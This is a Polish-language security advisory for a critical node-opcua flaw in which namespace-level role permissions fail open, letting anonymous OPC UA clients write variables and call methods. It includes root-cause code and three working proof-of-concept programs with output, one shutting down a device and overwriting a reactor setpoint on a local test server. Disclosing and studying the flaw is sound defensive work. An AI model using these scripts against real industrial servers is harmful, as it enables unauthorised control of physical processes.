Krytyczna

node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions

  • Ujawniono: 10.11.2026
  • Aktualizacja: 11.11.2026 10:00

Podsumowanie

Nieuwierzytelniony (Anonymous) klient może wykonywać operacje Write na chronionych zmiennych oraz Call na uprzywilejowanych metodach dla każdego węzła, który nie posiada jawnych uprawnień zdefiniowanych na poziomie węzła.

Wynika to z modelu dziedziczenia określonego w OPC UA Part 3, §5.2.9, gdzie węzły bez jawnego atrybutu RolePermissions dziedziczą DefaultRolePermissions przestrzeni nazw. OPC 10000-3 §4.8.3 nakazuje ewaluację typu default-deny (Bad_UserAccessDenied, gdy bity operacji nie są ustawione); natomiast node-opcua przyznaje wszystkie uprawnienia.

Główną przyczyną jest połączenie błędu autoryzacji typu fail-open oraz rozbieżności pomiędzy API konfiguracyjnym a ścieżką egzekwowania uprawnień w czasie wykonywania.


Konfiguracja podlegająca podatności

Niniejszy biuletyn obejmuje dwa przypadki o różnym stopniu ważności:

  1. Brak zadeklarowanych RolePermissions w jakimkolwiek miejscu – uprawnienia są rozwiązywane w sposób permisywny. Jest to udokumentowane zachowanie node-opcua dla serwera bez skonfigurowanej kontroli dostępu, więc nic nie zostaje pominięte. Warto to poprawić jako niebezpieczne domyślne zachowanie (CWE-1188), lecz nie stanowi to obejścia 9.1. Standardowy plik Opc.Ua.NodeSet2.xml zawiera DefaultRolePermissions bez Value, dlatego serwer bez zadeklarowanej polityki NIE jest narażony.
  2. Polityka jest zadeklarowana i po cichu ignorowana – metoda setDefaultRolePermissions() kończy się sukcesem i nic nie robi, więc administrator, który sądzi, że zablokował przestrzeń nazw, w rzeczywistości tego nie zrobił. Jest to rzeczywiste obejście zabezpieczeń i powód przyznania oceny CVSS 9.1. Wymaga ono, aby zadeklarowano wartość domyślną dla przestrzeni nazw. Wszystko poniżej opisuje przypadek 2, chyba że wskazano inaczej.

Analiza przyczyny źródłowej

Błąd 1 – getPermissionForRole(null) zwraca allPermissions (narusza regułę default-deny z §4.8.3)

Plik: packages/node-opcua-address-space/source/session_context.ts:151-153

ts
function getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {
    if (rolePermissions === null) {
        return allPermissions; // null means "grant everything" to ANY role, including Anonymous
    }

Gdy właściwa polityka przyjmuje wartość null, funkcja zwraca allPermissions (Read, Write, Call) dla dowolnej roli weryfikującej uprawnienia, w tym Anonymous. OPC 10000-3 §4.8.3 wymaga odwrotnego zachowania: "If they are not set the Server returns Bad_UserAccessDenied."

Błąd 2 – Wartość domyślna przestrzeni nazw przyjmuje wartość null na ścieżce egzekwowania uprawnień

Mechanizm egzekwowania w czasie wykonywania odczytuje węzły zmiennych DefaultRolePermissions / DefaultUserRolePermissions pod Server/Namespaces/<ns>. W każdej osiągalnej konfiguracji przyjmują one wartość null:

  • Przestrzenie nazw wczytane z NodeSet2 (DI / ADI / dostawcy) dostarczają właściwość bez Value (null).
  • Przestrzenie nazw tworzone programowo nie posiadają węzła NamespaceMetadata pod Server/Namespaces, więc operacja wyszukiwania zwraca null.

Dodatkowo server_engine.ts:947-957 nadpisuje te węzły wartością o typie Null przy każdym initialize(), bez możliwości przywrócenia:

ts
for (const ns of namespacesNode.getComponents()) {
    const defaultRolePermissions = ns.getChildByName("DefaultRolePermissions") as UAVariable | null;
    if (defaultRolePermissions) {
        defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });
    }
}

Uwaga: wczytana wartość ma już postać null w standardowych zbiorach węzłów, więc ten reset zmienia jedynie znacznik dataType wartości; nie jest to wyłączna przyczyna, ponieważ wartość domyślna przestrzeni nazw i tak wynosi null.

Błąd 3 – Dwie niespójne ścieżki egzekwowania

Istnieją dwie odrębne i odłączone od siebie ścieżki służące do ustalania domyślnych uprawnień przestrzeni nazw.

Ścieżka A (pole prywatne) – Namespace.setDefaultRolePermissions() zapisuje politykę wyłącznie do prywatnego pola JavaScript w namespace_impl.ts:

ts
public setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {
    this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;
}

Jest to wartość odczytywana przez lokalne metody dostępowe (np. BaseNodeImpl.getRolePermissions(inherited=true)).

Ścieżka B (węzeł UAVariable) – mechanizm kontroli dostępu w czasie wykonywania (Read/Write/Call) odpytuje węzeł UAVariable DefaultRolePermissions zamiast pola prywatnego (session_context.ts):

ts
const defaultRolePermissions = uaNamespaceObject.getChildByName("DefaultRolePermissions") as UAVariable;
if (defaultRolePermissions) {
    const dataValue = defaultRolePermissions.readValue();
    if (dataValue?.statusCode.isGood()) {
        return dataValue.value.value as RolePermissionType[] | null;
    }
}

Ponieważ Ścieżka B odczytuje węzeł zmiennej, a Ścieżka A zapisuje pole prywatne, obie są rozbieżne. Ścieżka egzekwowania ustala domyślną wartość przestrzeni nazw na null, węzeł metadanych jest nieobecny (programowa przestrzeń nazw) lub ma wartość Null (przestrzeń nazw z nodeset), a zdefiniowane przez administratora pole setDefaultRolePermissions() nigdy nie jest sprawdzane. Wartość null wyzwala następnie zachowanie fail-open (Błąd 1).

Wynik pomiaru: po zastosowaniu setDefaultRolePermissions([Operator]), namespace.getDefaultRolePermissions() zwraca politykę, podczas gdy getApplicableRolePermissions() zwraca null.

Synchronizacja pomiędzy obiema ścieżkami następuje wyłącznie wtedy, gdy administrator wywoła setNamespaceMetaData(), co wiąże pole z węzłem za pomocą bindVariable():

ts
metaData.defaultRolePermissions?.bindVariable(
    {
        get: () =>
            new Variant({
                dataType: DataType.ExtensionObject,
                arrayType: VariantArrayType.Array,
                value: namespace.getDefaultRolePermissions()
            })
    },
    true
);

Bez wywołania setNamespaceMetaData(), setDefaultRolePermissions() nie wywiera żadnego wpływu na autoryzację w czasie wykonywania. Co więcej, w przypadku przestrzeni nazw ładowanych z NodeSet2 wywołanie setNamespaceMetaData() rzuca wyjątek "INamespace meta data already exists" (PoC-C), zatem dla takich przestrzeni nazw w ogóle nie istnieje działający sposób aktywacji domyślnych uprawnień przestrzeni nazw.


Kroki w celu odtworzenia podatności

PoC-A – Poziom address-space (test jednostkowy, bez sieci)

Zapisz jako packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts, a następnie uruchom:

bash
cd packages/node-opcua-address-space
npx mocha ./test/test_poc_rbac_failopen.ts
ts
import { makePermissionFlag } from "node-opcua-data-model";
import { PermissionType } from "node-opcua-types";
import { DataType } from "node-opcua-variant";
import should from "should";
import { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from "..";
import { getMiniAddressSpace } from "../testHelpers";

const _keep = should;

describe("PoC RBAC fail-open", () => {
    let addressSpace: AddressSpace;
    let namespace: Namespace;

    before(async () => {
        addressSpace = await getMiniAddressSpace();
        namespace = addressSpace.getOwnNamespace();
    });
    after(() => addressSpace.dispose());

    function anonymousContext(): SessionContext {
        const ctx = new SessionContext();
        ctx.getCurrentUserRoles = () => makeRoles([WellKnownRoles.Anonymous]);
        return ctx;
    }

    it("A. CONTROL: per-node rolePermissions deny Anonymous", () => {
        const secured = namespace.addVariable({
            browseName: "SecuredWithNodePermissions",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        secured.setRolePermissions([
            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag("Read | Write") }
        ]);
        const ctx = anonymousContext();
        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);
    });

    it("B. VULN: node relying on namespace-default -> Anonymous gets Write", () => {
        const relyingOnDefault = namespace.addVariable({
            browseName: "RelyingOnNamespaceDefault",
            dataType: DataType.Double,
            accessLevel: "CurrentRead | CurrentWrite",
            userAccessLevel: "CurrentRead | CurrentWrite"
        });
        const ctx = anonymousContext();
        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);
        should(applicable).eql(null, "namespace default resolves to null (no namespace-metadata node)");
        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);
        relyingOnDefault.isUserWritable(ctx).should.eql(true);
    });

    it("C. VULN: bound Method without per-node permission -> Anonymous can Call", () => {
        const obj = namespace.addObject({ browseName: "PocObject", organizedBy: addressSpace.rootFolder.objects });
        const method = namespace.addMethod(obj, {
            browseName: "PrivilegedMethod",
            inputArguments: [],
            outputArguments: []
        });
        method.bindMethod((inputArguments, context, callback) => callback(null, { statusCode: 0 as any }));
        const ctx = anonymousContext();
        ctx.checkPermission(method, PermissionType.Call).should.eql(true);
        method.getUserExecutableFlag(ctx).should.eql(true);
    });
});

Wynik:

  PoC RBAC fail-open
    ✓ A. CONTROL: per-node rolePermissions deny Anonymous
    ✓ B. VULN: node relying on namespace-default -> Anonymous gets Write
    ✓ C. VULN: bound Method without per-node permission -> Anonymous can Call

  3 passing

PoC-B – End-to-end przez TCP (programowa przestrzeń nazw)

Zapisz jako packages/node-opcua/poc_b_e2e_rbac.js, a następnie uruchom node poc_b_e2e_rbac.js (dodaj --safe dla próby kontrolnej):

js
const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData
} = require("node-opcua");

const PORT = 48411;
const ENDPOINT = `opc.tcp://localhost:${PORT}`;
const SAFE_MODE = process.argv.includes("--safe");
let parentNodeId, methodNodeId, variableNodeId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true
    });
    await server.initialize();

    const ns = server.engine.addressSpace.getOwnNamespace();

    // Operator hardening: namespace-level RBAC, Anonymous excluded
    ns.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") },
        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag("Read | Browse") }
    ]);
    if (SAFE_MODE) {
        setNamespaceMetaData(ns);
    }

    const device = ns.addObject({ browseName: "PlantDevice_01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    parentNodeId = device.nodeId;

    const method = ns.addMethod(device, { browseName: "EmergencyShutdown", inputArguments: [], outputArguments: [] });
    method.bindMethod((_in, _ctx, cb) => {
        console.log("[server] EmergencyShutdown EXECUTED by anonymous caller");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodNodeId = method.nodeId;

    const variable = ns.addVariable({
        browseName: "ReactorSetpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 350.0 }
    });
    variableNodeId = variable.nodeId;

    await server.start();
    console.log(`[server] Listening on ${ENDPOINT}`);
    return server;
}

async function anonymousAttack() {
    const client = OPCUAClient.create({
        endpointMustExist: false,
        securityMode: MessageSecurityMode.None,
        securityPolicy: SecurityPolicy.None
    });
    await client.connect(ENDPOINT);
    const session = await client.createSession({ type: UserTokenType.Anonymous });
    console.log("[client] Anonymous session activated");

    let callStatus;
    try {
        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });
        callStatus = r.statusCode.toString();
    } catch (e) { callStatus = e.message; }

    let writeStatus;
    try {
        const r = await session.write({
            nodeId: variableNodeId,
            attributeId: AttributeIds.Value,
            value: { value: { dataType: DataType.Double, value: 999.0 } }
        });
        writeStatus = r.toString();
    } catch (e) { writeStatus = e.message; }

    await session.close();
    await client.disconnect();
    return { callStatus, writeStatus };
}

(async () => {
    const server = await startServer();
    try {
        const { callStatus, writeStatus } = await anonymousAttack();
        console.log(`\nMode: ${SAFE_MODE ? "SAFE" : "VULNERABLE"}`);
        console.log(`CALL  EmergencyShutdown : ${callStatus}`);
        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);
        const vuln = callStatus.includes("Good") || writeStatus.includes("Good");
        console.log(vuln ? "\nVULNERABLE - Anonymous bypassed namespace RBAC" : "\nSAFE - RBAC correctly enforced");
    } finally {
        await server.shutdown();
    }
})().catch(e => { console.error(e); process.exit(1); });

Wynik podatny (node poc_b_e2e_rbac.js):

[server] EmergencyShutdown EXECUTED by anonymous caller
Mode: VULNERABLE
CALL  EmergencyShutdown : Good (0x00000000)
WRITE ReactorSetpoint   : Good (0x00000000)

Wynik kontrolny (node poc_b_e2e_rbac.js --safe):

Mode: SAFE
CALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)
WRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)

PoC-C – End-to-end przez TCP (przestrzeń nazw ładowana z NodeSet2: żadna konfiguracja przed tym nie chroni)

Zapisz jako packages/node-opcua/poc_c_nodeset_rbac.js, a następnie uruchom node poc_c_nodeset_rbac.js:

js
const {
    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,
    MessageSecurityMode, SecurityPolicy, UserTokenType,
    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets
} = require("node-opcua");

const PORT = 48412, DI_URI = "http://opcfoundation.org/UA/DI/";
let deviceId, methodId, variableId;

async function startServer() {
    const server = new OPCUAServer({
        port: PORT,
        securityPolicies: [SecurityPolicy.None],
        securityModes: [MessageSecurityMode.None],
        allowAnonymous: true,
        nodeset_filename: [nodesets.standard, nodesets.di]
    });
    await server.initialize();

    const di = server.engine.addressSpace.getNamespace(DI_URI);
    di.setDefaultRolePermissions([
        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag("Read | Write | Browse | Call") }
    ]);
    try {
        setNamespaceMetaData(di);
        console.log("[server] hardening: metadata bound");
    } catch (e) {
        console.log("[server] hardening FAILED:", e.message);
    }

    const device = di.addObject({ browseName: "Pump01", organizedBy: server.engine.addressSpace.rootFolder.objects });
    deviceId = device.nodeId;

    const m = di.addMethod(device, { browseName: "Stop", inputArguments: [], outputArguments: [] });
    m.bindMethod((_i, _c, cb) => {
        console.log("[server] Stop() EXECUTED by anonymous");
        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });
    });
    methodId = m.nodeId;

    const v = di.addVariable({
        browseName: "Setpoint",
        componentOf: device,
        dataType: DataType.Double,
        accessLevel: "CurrentRead | CurrentWrite",
        userAccessLevel: "CurrentRead | CurrentWrite",
        value: { dataType: DataType.Double, value: 42 }
    });
    variableId = v.nodeId;

    await server.start();
    return server;
}

async function attack() {
    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });
    await client.connect(`opc.tcp://localhost:${PORT}`);
    const s = await client.createSession({ type: UserTokenType.Anonymous });
    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();
    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();
    await s.close();
    await client.disconnect();
    console.log("CALL  Stop()   :", call);
    console.log("WRITE Setpoint :", write);
}

(async () => {
    const srv = await startServer();
    try { await attack(); } finally { await srv.shutdown(); }
})().catch(e => { console.error(e); process.exit(1); });

Wynik:

[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/
[server] Stop() EXECUTED by anonymous
CALL  Stop()   : Good (0x00000000)
WRITE Setpoint : Good (0x00000000)

Wpływ

  • Operacja Write dowolnych wartości do zmiennych (CurrentWrite) kontrolowanych wyłącznie przez RBAC na poziomie przestrzeni nazw, np. wartości zadanych procesów czy parametrów bezpieczeństwa.
  • Operacja Call na powiązanych metodach. Metody nie posiadają drugiego stopnia weryfikacji AccessLevel; executable domyślnie przyjmuje wartość true dla powiązanych metod (ua_method_impl.ts).
  • Dotyczy każdego węzła opierającego się na dziedziczeniu DefaultRolePermissions przestrzeni nazw wymaganym przez OPC 10000-3 §5.2.9.
  • Użytkownik Anonymous otrzymuje wszystkie uprawnienia PermissionFlag, ponieważ null rozwiązuje się do allPermissions.
  • Wpływ na dostępność (A:H, CVSS 9.8) jest możliwy do osiągnięcia w każdym wdrożeniu wiążącym metodę, której wykonanie wpływa na dostępność (wyłączenie / restart / zarządzanie rolami); oceniono jako A:N ze względu na zależność od wdrożenia.

Co NIE podlega podatności

Serwery, które nigdzie nie deklarują RolePermissions (przypadek 1): zachowanie permisywne zgodne z dokumentacją, nie stanowi obejścia zabezpieczeń. Oficjalny plik Opc.Ua.NodeSet2.xml zawiera DefaultRolePermissions bez Value i kwalifikuje się do tego przypadku.

  • Węzły z jawnymi uprawnieniami RolePermissions dla danego węzła (prawidłowo egzekwowane – PoC-A przypadek A).
  • Tworzone programowo przestrzenie nazw, w których administrator wywołuje zarówno setDefaultRolePermissions(), jak i setNamespaceMetaData() (PoC-B --safe).
  • Zmienne bez uprawnienia CurrentWrite w AccessLevel (wektor Call nadal ma zastosowanie do metod).

Proponowane rozwiązanie

  1. Fail-closed – funkcja getPermissionForRole(null) powinna zwracać PermissionFlag.None, a nie allPermissions (zgodnie z zasadą default-deny z §4.8.3).
  2. Spójna ścieżka – getApplicableRolePermissions() powinno korzystać z node.getRolePermissions(inherited=true), co poprawnie odczytuje pole przestrzeni nazw.
  3. Bezpieczeństwo API – wywołanie setDefaultRolePermissions() powinno bezpośrednio wpływać na egzekwowanie uprawnień, bez wymogu użycia setNamespaceMetaData() (które rzuca błąd w przestrzeniach nazw ładowanych z nodeset).
  4. Utwardzenie – funkcja server_engine.ts:947-957 nie powinna bezwarunkowo resetować DefaultRolePermissions.

Odniesienie do specyfikacji (zweryfikowane dosłownie z oficjalną specyfikacją OPC Foundation)

  • OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles: "If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns Bad_UserAccessDenied." (zasada default-deny, zachowanie, które błąd 1 odwraca). https://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3
  • OPC 10000-3 §5.2.9 - RolePermissions: "If not specified, the value of DefaultRolePermissions Property from the NamespaceMetadata Object associated with the Node shall be used instead." oraz "If a Server supports Permissions for a particular Namespace it shall add the DefaultRolePermissions Property to the NamespaceMetadata Object for that Namespace." https://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9
  • OPC 10000-5 §6.3.13 - NamespaceMetadataType (definiuje DefaultRolePermissions / DefaultUserRolePermissions jako właściwości obiektu NamespaceMetadata). https://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13

Co trzeba zrobić

Zaktualizuj do wersji 2.180.0 lub nowszej.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm node-opcua >= 2.42.0, < 2.180.0 2.180.0
Paczka npm node-opcua-address-space >= 2.42.0, < 2.180.0 2.180.0
Paczka npm node-opcua-server >= 2.42.0, < 2.180.0 2.180.0

Odnośniki

Ocena CVSS 9.1/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Słabość (CWE)
CWE-1188, CWE-285, CWE-636, CWE-863
Platforma
npm
Paczka
node-opcua, node-opcua-address-space, node-opcua-server
Ujawniono
10.11.2026
Aktualizacja
11.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-xggf-m53x-jc3f - CC BY 4.0

Historia podatności: node-opcua

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
7
Pierwsza → ostatnia
08.2022 11.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 1
  • Wysoka 6

Ujawnienia w latach

  1. 2022: 3
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 4
  1. node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions ten wpis
    Krytyczna · 9.1 CVE-2026-95860 >= 2.42.0, < 2.180.0 2.180.0
  2. Wysoka · 7.7 CVE-2026-54155 <= 2.165.0 brak poprawki
  3. Wysoka · 7.5 CVE-2022-21208 < 2.74.0 2.74.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.